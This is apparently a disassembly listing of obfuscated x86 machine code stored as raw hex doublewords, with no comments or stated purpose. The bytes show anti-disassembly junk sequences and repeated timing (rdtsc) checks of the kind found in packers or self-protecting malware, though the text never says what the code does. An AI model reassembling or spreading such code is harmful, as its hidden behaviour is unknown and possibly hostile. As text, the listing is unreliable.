		dd 44E1ED7Ch, 0D6B7FAEFh, 5FEEDB80h, 14B9858Bh,	6A05E8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 23E42FC3h, 0B957863Bh, 14E95F6Eh, 9F000000h,	46CF145Ch
		dd 0D3F0A2D4h, 8B3AB9CBh, 0A9E54939h, 89F598E6h, 0C486h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0A3B54DFFh, 0DAE60B48h, 0BF0F55A4h, 9D958BDBh
		dd 6A05E815h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 97E7C350h, 0C8CA3C89h,	8B179D7Bh
		dd 0E81ABD9Dh, 0DBBF0F05h, 6A04C283h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0ECC0C350h
		dd 2050896Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0AC35646h, 31B9E47Dh, 0E827A5BDh, 6E905h, 928E0000h
		dd 0D24AE4F8h, 0C65D858Dh, 6A05EBh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0AF0CB7C3h
		dd 0C3715E3Dh, 0A498D89h, 868905E8h, 0B8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B2C35242h, 33346BC3h
		dd 0D95CD2CDh
		dd 8150006Ah, 79A1ABDFh, 8C0F5F2Fh, 6, 12A9BD2Bh, 0B5FF05E8h
		dd 5EBB3F1h, 2CCD9D8Bh,	95FF05E8h, 5E82C2Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8AC35040h, 0C2DB3453h
		dd 35B36630h, 12880Fh, 0DE90000h, 6D000000h, 54646474h
		dd 0EA1002EEh, 85781BC8h, 0BE850h, 0CB00000h, 713F3D56h
		dd 0B04F2CF2h, 0D88B66FFh, 2434895Bh, 0F1B5FFF9h, 6A05EBB3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E7A4C352h, 283321FFh, 0BF3C2E0Ch, 657B3757h
		dd 2C195FFh, 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 5C70C7C3h, 8CB7B077h, 0A7C78079h
		dd 25DBD83h, 0F0005E8h,	4084h, 999D2900h, 5005E827h, 5F505250h
		dd 6660310Fh, 611E69BEh, 3489585Ah, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0FCFE7CE4h
		dd 8943BA0Bh, 0E8134585h, 0F1B5FF05h, 6A05EBB3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 643FC351h, 15BD8981h, 0FF05E811h, 0E8075995h, 0D2BF6605h
		dd 0F1B5FFACh, 6A05EBB3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 52C4C353h, 3D95291Fh
		dd 0E905E80Ch, 0Ch, 30E161A2h, 0B7A9F44Fh, 230C8B3Fh, 72595FFh
		dd 850105E8h, 5E82331h,	6840Fh,	85010000h, 5E82831h, 29A9BD83h
		dd 0F0205E8h, 3E84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 922FB26Ah, 7240B8EFh
		dd 133D858Bh, 870F05E8h, 0Ch, 7E9h, 9529600h, 1A064257h
		dd 0C70000C6h, 0E812C185h, 5, 559D8900h, 6005E80Eh, 27DA8166h
		dd 0DE901h, 0FB6B0000h,	74A41BC4h, 652D2A9Dh, 61BB0804h
		dd 0FFF2AEE9h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 7D53C9BCh, 73DD2433h
		dd 0BF66C18Bh, 858DDCDEh, 5E81C1Dh, 0A248D781h,	0F500A99h
		dd 1283h, 0DE900h, 7B280000h, 2198B23Dh, 4DF3856h, 892566BAh
		dd 0BD032404h, 5E83121h, 9E9006Ah, 0DF000000h, 390CE9A0h
		dd 938B8494h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0B719DCC3h, 858DFEAFh, 5ECFAF9h
		dd 0E3EF8166h, 5C083C3h, 2BE1BF90h, 90504555h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 30C35242h, 0A4F8D291h
		dd 0E1089A73h, 6AFA8B19h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 4AAA9B84h
		dd 5D2F2338h, 0F1B5294Bh, 6005E822h, 37CE8166h,	0A58D8B96h
		dd 6105E808h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 54A361C3h, 41EB00DFh, 8D29D214h
		dd 5E82491h, 21C58D09h,	95FF05E8h, 5E8203Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2BC35747h, 0E3C84279h
		dd 0D8E835CAh, 0DB8D8DEFh, 8B05EBA4h, 0BBD1FFFAh, 13B2096Dh
		dd 10B9BD83h, 0F0105E8h, 9185h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C239B284h
		dd 8B665B56h, 90026AF8h, 0FE9h,	81643F00h, 0BC42A540h
		dd 0CA7F4104h, 0F093FF09h, 90DF8B50h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 5DC35343h, 8060CE14h, 0FF6135E0h
		dd 0E82C2D95h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E9EBDEF9h, 6,	0AF997295h
		dd 0D4E959A0h, 0E800000Dh, 0
		dd 3ED815Dh, 0F05ECFBh,	9D8BDAB7h, 5E81B69h, 8F58858Dh
		dd 6A05EBh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0DE9706C3h, 8A5B57F9h, 14E8F8h, 0BD0000h
		dd 0F8C2D319h, 136C6E34h, 99E72E99h, 0CD79EC8Ah, 0F603B30h
		dd 84h,	5B61F800h, 8B665090h, 8D8990D9h, 5E805BDh, 588CBB66h
		dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78D046C3h
		dd 0B6376160h, 0DB8166D9h, 85FF8B15h, 5E82545h,	6ADBB70Fh
		dd 12860FFFh, 0F000000h, 0C8Fh,	7E900h,	0A9320000h, 0FADD1535h
		dd 29B5FFBDh, 2905E80Eh, 0E813C98Dh, 0AD95FF05h, 0E905E82Fh
		dd 118h, 2E5DB509h, 0B005E8h, 0BE9h, 6FF7AA00h,	8C9E3926h
		dd 9575616h, 0E95070E6h, 9, 32BCD0CAh, 0CFB7333h, 71E45B33h
		dd 68C0Fh, 0BD8B0000h, 5E8106Dh, 830F613Ch, 0D8h, 8E8h
		dd 13EBBA00h, 8ED747EEh, 3890F38h, 0F000000h, 0F5BDFBFh
		dd 0B60FDFB7h, 0BAF88BC8h, 6, 2985B589h, 0C18B05E8h, 8904E8C1h
		dd 0E830E185h, 0E2F76605h, 2890Fh, 56B70000h, 9D89C82Bh
		dd 5E831CDh, 0BB66D18Bh, 85E9B75Bh, 3000000h, 0E809FD9Dh
		dd 49858B05h, 8944004Eh, 0E809A585h, 7C08305h, 599D3350h
		dd 5B05E830h, 8100C083h, 0DA570CE3h, 0FD03B21h,	0B83h
		dd 2ABB6600h, 4EE962h, 0D88A0000h, 0FFFF8D8Bh, 12E9FFFFh
		dd 6000000h, 13EBBA63h,	8ED747EEh, 0F1FD2738h, 0A50B192h
		dd 1E183DEh, 26840Fh, 79BB0000h, 23610129h, 0E807C99Dh
		dd 0FFA58305h, 0FEFFFFFFh, 0D119D2Bh, 958905E8h, 44004E49h
		dd 0E9DFB70Fh, 0
		dd 7BDEB58Dh, 820F05ECh, 0Bh, 58F0Fh, 81660000h, 0E965D4F3h
		dd 10h,	5A9CCC93h, 962ADCE3h, 1611AE1Ah, 1F990281h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B715FC3h, 0F995FFFAh, 6A05E820h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1B7C356h
		dd 77EA9987h, 25E4D9DEh, 0F2FB9h, 0FE800h, 0BB330000h
		dd 0B3FC4627h, 301F4AEBh, 6FD3D4FDh, 5B78B362h,	81FCE183h
		dd 0BE4105E3h, 0FCBBFC17h, 66723ED0h, 0E0D5CF81h, 0B8h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 1AF093FFh, 1BBB9338h, 66371BEFh,	89E781h
		dd 2B8DBD8Bh, 0BA05E8h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B924C351h
		dd 6FBF7CEDh, 0AD379E99h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 8BB4C353h, 958957E3h, 5E814CDh, 880DFC5Bh
		dd 33000000h, 0E807E59Dh, 9D958B05h, 8105E815h,	0FF7F76E3h
		dd 11E826h, 9AEE0000h, 6222C785h, 99B38AD6h, 900C0A8Eh
		dd 60F7DBE7h, 14C9BD8Bh, 0B96605E8h, 5F6188E3h,	7058D8Bh
		dd 11E905E8h, 22000000h, 0D6518709h, 0FFF3497Fh, 36045B5Dh
		dd 2BA051A9h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 9605818h, 0E81B3D95h, 75E88005h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 4A1EEDF3h
		dd 0BD8376D4h, 5E82E71h, 8B840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0D2B8C355h, 301120D9h, 23B1979Fh, 0BD0348B7h, 5E82D85h
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D8BC7BAh, 5E8296Dh, 9E9h, 11048C00h
		dd 0E33547ACh, 8D8DE2E1h, 5E84D6Ah, 20F18589h, 0E1FF05E8h
		dd 0FE8h, 7AE33800h, 0C6F00F94h, 0CE5DD816h, 75A0BB9Eh
		dd 69C78166h, 0BD835B19h, 5E80A61h, 0ED840F00h,	6A000003h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 6AE3C353h, 8A64FAEAh, 8E956D8h, 1D000000h
		dd 3515DD7Eh, 5F3DC529h, 0A61BD83h, 0F0105E8h, 3CA84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C89E1DC3h, 8376AACFh, 0E80A61BDh, 860F0305h
		dd 365h, 2309BD8Bh, 8B6005E8h, 0E81C0D9Dh, 0D98C6605h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D9C35747h
		dd 0C5C48D54h, 134D9D2Bh, 0E18005E8h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 7D79BC2Dh, 2E31B589h, 10E905E8h, 9E000000h, 0EE6119CEh
		dd 1C8ED385h, 9EC8F72Dh, 0A99C50Dh, 14840FC9h, 8B000001h
		dd 0E812219Dh, 0B1858B05h, 6A05E802h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 51E0C351h
		dd 0C3819219h, 47C847F1h, 1095BD89h, 853305E8h,	5E81BCDh
		dd 1665BD8Bh, 895005E8h, 9D8B2404h, 5E82125h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 9D60A4C3h, 0B0B313FEh, 12E953h, 70360000h, 58C95355h
		dd 4D7893E7h, 0B590EA08h, 52F46208h, 4E8h, 1F03FF00h, 5097B300h
		dd 8BD88B66h, 8B042444h, 89008BD8h, 58042444h, 0FFFA8B66h
		dd 0E8151995h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 1BBE1AC6h, 0AE9C6h, 0ACBE0000h
		dd 0B3D6FD6Ah, 0E8AED3A5h, 0B3F18589h, 6A05EBh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 544B8FC3h, 0E35DDB81h, 8B535A93h, 84E95FF8h,	66000001h
		dd 8B8B7DBFh, 0EBB3E985h, 0C5BD8905h, 0C705E815h, 1800h
		dd 16E38000h, 2B69BD8Bh, 0B58B05E8h, 5EBB3EDh, 0E60CBB66h
		dd 3341858Bh, 0BF6605E8h, 68920FEh, 6A1F781h, 858B27C5h
		dd 5E802B1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0D0C35040h, 89154011h, 6A0446h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0DCB17C3h
		dd 9A75ADB0h, 0DEFCF81h, 0BD8B2125h, 5E806F1h, 6E896h
		dd 0BAF60000h, 6FA7C00h, 52505250h, 585A310Fh, 5250310Fh
		dd 585A310Fh, 505F585Ah, 50525060h, 5A310F52h, 51310F58h
		dd 66585A58h, 9661CB8Bh, 1FA8B66h, 0E831A195h, 0E9B5FF05h
		dd 6A05EBB3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 680FC355h, 65BC8A8h, 0E8F98B60h
		dd 0Ah,	0EBB1EFC1h, 8D895680h, 5B563827h, 34816159h, 44CB5724h
		dd 6820F06h, 23000000h,	0E81685BDh, 0F1858D05h,	6A05EBB3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 29C0C351h, 0E82D8595h, 0B1BF5005h, 89556CC9h
		dd 8E0F2404h, 0Bh, 6E9h, 0F4640400h, 0FF8C43ECh, 0E8151995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 61F921D9h, 26358589h, 85C705E8h,	5E80A61h
		dd 3, 6A45E9BFh, 0F1BD8300h, 5EBB3h, 33840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0ACDBAEC3h, 298CD51h, 27E9h,	99B50100h, 3305E80Eh, 0E82539BDh
		dd 0C305005h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0AEC35141h, 8D890B7Bh, 5E8106Dh, 9ED78166h, 0E7805321h
		dd 6A5F18h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 3C3375C3h, 1AA99D31h, 0BD8305E8h,	5E80A61h
		dd 86850F03h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8B69C352h, 0CF0ECEBFh
		dd 0F1BD8366h, 5EBB3h, 457840Fh, 95010000h, 5E80F2Dh, 0B3F1B5FFh
		dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0F66D92C3h, 980B8ADEh, 8B442620h,	0E80CFDBDh
		dd 995FF05h, 6A05E81Ch,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8944C352h, 0E824A19Dh
		dd 0E5B58B05h, 6A05EBB3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 5609C352h, 8960C190h
		dd 0E831298Dh, 85016105h, 5E831B9h, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 11D1A6C3h, 0AB51A57h, 0DA8A9681h, 0AE850h, 0BDF0000h
		dd 371CD89Fh, 0D181B70Bh, 965FBCB7h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 6FC35242h, 785CE3DAh
		dd 0C698814Ch, 0F1B5FF0Eh, 6A05EBB3h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6901C352h
		dd 20C5B531h, 816005E8h, 703D04E6h, 167FBE0Bh, 0FF61286Eh
		dd 0E808BD95h, 0ACBB6605h, 358DBFA2h, 0B58B4541h, 5EBB3E5h
		dd 890Fh, 858B0000h, 5E814B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 84C35545h, 0B5890A21h, 5E80CCDh
		dd 0C48689h, 51BF0000h,	8B4BE303h, 0E8159D95h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0E8BC068Ch, 66093ED9h, 0F27B5BFh, 686h, 71B58900h, 8305E829h
		dd 9D2B04C2h, 5E82479h,	6A205089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 2E47C351h
		dd 0D5D8529h, 896005E8h, 0E829C99Dh, 68A0F05h, 2B000000h
		dd 0E827F1BDh, 858D6105h, 5EBC65Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 21C35545h, 0E95150BEh, 0BD01E8C3h
		dd 5E812A1h, 0B88689h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0EBB6C9C3h, 66006A6Fh
		dd 0FF791BBFh, 0EBB3F1B5h, 8B666005h, 73BA51D3h, 59208BFBh
		dd 0C0BF6661h, 2D95FFEAh, 305E82Ch, 0E8134DBDh,	0DE99605h
		dd 71000000h, 86BB725h,	3683F648h, 0B2EF5AEh, 0BD339650h
		dd 5E80699h, 880Fh, 0B5FF0000h,	5EBB3F1h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 0C7C35141h, 424814C7h
		dd 8A1BD8Bh, 0BB6605E8h, 95FFCCA0h, 5E802C1h, 327D9D89h
		dd 0BD8305E8h, 5E8025Dh, 52840F00h, 8B000000h, 0E80355BDh
		dd 0FA8B6605h, 50FB8B96h, 0C18B6660h, 0DE8h, 0E86D0400h
		dd 0AAE95620h, 0FF9CDF80h, 8E0F818Ch, 0
aAcj		db '^a–j',0
		db 56h,	0E8h, 3
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 590AC356h, 0D381893Eh, 412FD0F0h, 0F1B5FFFCh, 0E805EBB3h
		dd 9, 0FF791EFAh, 4A8C983h, 2D85892Dh, 5F05E81Ah, 75995FFh
		dd 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F4FE44C3h, 0BCD83F8Eh, 0FE8h, 7764A500h
		dd 22024028h, 0F24E564Fh, 11C5D593h, 0BD8B5BFCh, 5E80719h
		dd 0B3F1B5FFh, 95FF05EBh, 5E80725h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 27C35242h, 539C64ECh, 14E9h
		dd 0FF06E100h, 0D31B8F6h, 755002AEh, 0F6CE65EFh, 48EA90F9h
		dd 85015BC8h, 5E80261h,	29A9BD83h, 0F0205E8h, 6284h, 0FE900h
		dd 890D0000h, 8A8A07EAh, 5A73E43Fh, 5DC50970h, 3D858B19h
		dd 6A05E813h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 217C350h, 0BD3BD05Fh, 0C69EF780h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66F364C3h, 0C7A6E4BFh, 0E812C185h, 5, 0F7BF6600h
		dd 0F335E90Bh, 6AFFFFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 510BC9C3h, 9035E212h, 30219D8Bh
		dd 0C18B05E8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	21C35040h, 4A832AD3h, 29AF2A07h, 0E82625BDh, 0D5953105h
		dd 8D05E806h, 0E81C1D85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 41FA49E4h
		dd 666050F8h, 5046B9BEh, 0FD68B52h, 8FBE6631h, 61585A7Eh
		dd 51240489h, 29759D03h, 6A5F05E8h, 359D8B00h, 6A05E82Dh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D0D6C8BFh, 0EA6AE328h, 19800FFAh, 0E9000000h
		dd 14h,	0D2AF9BA7h, 0F986F5F6h,	983A5480h, 0C242FB19h
		dd 0B4CD35D1h, 0AC1858Dh, 958905EDh, 5E82E69h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F833C352h, 8E890h, 2E270000h, 9642C765h
		dd 8B66DDC2h, 0E9505BD9h, 14h, 5C1381E9h, 5809CDC8h, 0C004DD27h
		dd 0E35F8B90h, 2F124CD3h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 80006AECh
		dd 6A84D3h, 0FF66F380h,	0E8203D95h, 8B666005h, 8D8D61D1h
		dd 5EBA4DBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0D0C35343h, 0BD8B8580h,	5E83219h, 6AD1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0ED07A3C3h, 53FDA90Ah, 8960D4D1h, 0E8249185h, 0B5015605h
		dd 5E82775h, 4FBF6158h,	832874E9h, 0E810B9BDh, 850F0105h
		dd 62h,	9D0B026Ah, 5E831B1h, 89FE8B50h,	6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0D33C40C3h, 8B668597h, 2D95FFFEh, 6A05E82Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0C7A0C352h, 0F2CA0ED7h, 105A13D7h, 28399D8Bh, 0FBE905E8h
		dd 0E800000Ch, 0
		dd 0CBED815Dh, 0E905ED0Ah, 0Dh,	34AA450Eh, 2001E6D0h, 0EF1DDA29h
		dd 51006A7Dh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 3890F5Ah, 0F000000h, 0BB66FBB7h,	858D7AE6h
		dd 5EB8F58h, 61B58951h,	5F05E80Ch, 8B665390h, 66505BFEh
		dd 6490FB8Bh, 35FFh, 24BB0000h,	64659F56h, 2589h, 81660000h
		dd 0FC4CD2F3h, 254585FFh, 6A05E8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F4E4CC3h, 68Dh, 5D8D8900h
		dd 6A05E80Fh, 0DE9FFh, 3BD0000h, 0D3B4DA56h, 94328FCFh
		dd 0FFA37287h, 0E82849B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 67172CFAh
		dd 89D1D48Bh, 0E8279185h, 95FFF805h, 5E82FADh, 12BE9h
		dd 65BD8900h, 0B005E828h, 0BE86000h, 0E9000000h, 0F055E7EAh
		dd 0B39AD6Ch, 0C081E861h, 17FBC51Bh, 0FE85Eh, 6A830000h
		dd 0C366C00Ah, 0A705F5BFh, 0FEEAF651h, 810F42h,	5F000000h
		dd 0E6D88A61h, 71E4F970h, 24999D03h, 613C05E8h,	0DA830Fh
		dd 0EB810000h, 28E551FEh, 8BC8B60Fh, 0E822359Dh, 6BA05h
		dd 820F0000h, 3, 8BD8B70Fh, 0CE951C1h, 0BA000000h, 1D5FA5E7h
		dd 967BEB82h, 5BC0CD89h, 0F04E8C1h, 0F766DAB7h,	0B19D29E2h
		dd 2B05E80Ch, 0EF8166C8h, 0D18B1213h, 19460BFh,	0C3816675h
		dd 81E9650Ch, 0F9000000h, 4C4C858Bh, 0DA8B505Fh, 8907C083h
		dd 0E82EB99Dh, 63EB8005h, 8B00C083h, 0FD03BDFh,	1183h
		dd 0CDBD8900h, 0E905E813h, 54h,	2C7D9D29h, 8D8B05E8h, 0FFFFFFFFh
		dd 2E798589h, 0E18305E8h, 39840F01h, 0E8000000h, 0Bh, 30D0CE97h
		dd 0F9CE3EC4h, 669E35F8h, 5BFF15BBh, 0FFFFA583h, 8BFEFFFFh
		dd 0E814159Dh, 98D8905h, 8905E82Fh, 5F4C4C95h, 5D9D0350h
		dd 0E905E803h, 0
		dd 8B0DB58Dh, 0B70F05ECh, 66006AFAh, 95FFFA8Bh,	5E820F9h
		dd 68F0Fh, 9D8B0000h, 5E81509h,	0F5DB9h, 0DFB70F00h, 0FFCE183h
		dd 0BFFCDFB7h, 616E81B9h, 9589C02Bh, 5E824F1h, 0BAh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C233AD51h, 0D003E8D1h, 7504E983h, 8E8F4h, 62D20000h
		dd 302B3626h, 0BD339BA9h, 5E82839h, 57006A5Bh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0CA9F6D45h
		dd 85BABDA9h, 9D2B2027h, 5E814DDh, 880Dh, 0A1BD8B00h, 8B05E811h
		dd 0E8159D95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0D37AC04Eh, 8B4949B5h
		dd 0E807058Dh, 499D8B05h, 5005E815h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0C8D0F58h, 0E9000000h, 7, 301120D9h
		dd 6AB1979Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3B4AC355h, 1C0BEE8Fh, 19318D29h
		dd 0BD8305E8h, 5E82E71h, 60840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0ED39C351h, 0D98B80FCh, 0B8h, 8D8DF900h, 5E84D6Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 91C35242h, 90CDD929h
		dd 2ECC59Eh, 0D18D8916h, 0FF05E80Fh, 0A9BD8BE1h, 8305E816h
		dd 0E80A61BDh, 840F0005h, 382h,	83D88B66h, 0E80A61BDh
		dd 840F0105h, 38Dh, 68F0Fh, 9D290000h, 5E80FC1h, 61BD83FCh
		dd 305E80Ah, 33D860Fh, 89600000h, 0E8023DBDh, 3D958B05h
		dd 6105E80Dh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 77BC0343h, 0BB668910h, 8C664430h
		dd 945EBBD9h, 0E1806FE8h, 0CE904h, 0D5EA0000h, 0AABE1BD6h
		dd 3708501Fh, 0DB81F107h, 585CD327h, 840FC90Ah,	137h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 85C35747h, 0B0505797h
		dd 0B70F7576h, 0B1858BFEh, 6A05E802h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 83E8C352h
		dd 6618FE80h, 1E6DD381h, 9800Fh, 860F0000h, 3, 33F88B66h
		dd 0E81BCD85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0A07C26C8h, 2B5C64ACh
		dd 50FABF0Fh, 820Fh, 4890000h, 51006A24h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0FA6E9A01h
		dd 25BD0120h, 6A05E814h, 0BE900h, 0F07C0000h, 6B5F432Dh
		dd 0DAE26930h, 0E43B6818h, 348148D5h, 0CAE7C424h, 56006A48h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C06AF1E5h, 181BA806h, 0FFFEB70Fh, 0E8151995h, 0B5336005h
		dd 5E80E81h, 2E159D03h,	0E96105E8h, 8, 0DA30A676h, 8D0C9DCEh
		dd 0B3F18589h, 9D3305EBh, 5E81A59h, 179E9h, 459D3300h
		dd 8B05E826h, 0EBB3E985h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8009EC3Ah
		dd 0C73DEBh, 18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	6AC35545h, 0FD6A5CCh, 58Fh, 0E3816600h,	0B58B57B3h
		dd 5EBB3EDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	5BC35242h, 0DEB66242h, 0FB56A2CAh, 0A6BB66C1h
		dd 41858B70h, 8905E833h, 7E906h, 0D79E0000h, 6DDB354Fh
		dd 0B58B60A5h, 5E82581h, 9E8h, 0E8657900h, 0AD9215E8h
		dd 9D8BB9CFh, 5E83181h,	858B6158h, 5E802B1h, 0E856006Ah
